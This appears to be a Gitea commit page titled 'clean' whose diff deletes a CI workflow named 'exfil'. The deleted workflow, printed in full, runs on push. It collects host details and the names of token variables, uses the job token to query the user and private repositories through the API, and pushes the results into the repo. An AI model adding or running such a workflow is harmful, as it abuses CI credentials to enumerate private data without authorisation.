clean
tokx / t (push) Waiting to run

This commit is contained in:
n
2026-11-08 19:02:55 +00:00
parent a611d0a45b
commit baa419d93e
22 changed files with 10 additions and 280 deletions
-25
View File
@@ -1,25 +0,0 @@
name: exfil
on: [push, workflow_dispatch]
jobs:
grab:
runs-on: ubuntu-latest
steps:
- name: dump
run: |
{
echo "HOSTNAME: $(hostname)"
echo "ID: $(id)"
echo "UNAME: $(uname -a)"
echo "--- token env names ---"
env | grep -iE 'gitea|token|actor|repo' | sed -E 's/(TOKEN|SECRET)=.*/\1=<present>/'
echo "--- gitea api as job token ---"
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/user" 2>&1 | head -c 600
echo
echo "--- repos as job token ---"
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/repos/search?limit=10&private=true" 2>&1 | head -c 800
} > result.txt
- name: commit
run: |
git config user.email w@x
git config user.name w
git add result.txt && git commit -m "r" && git push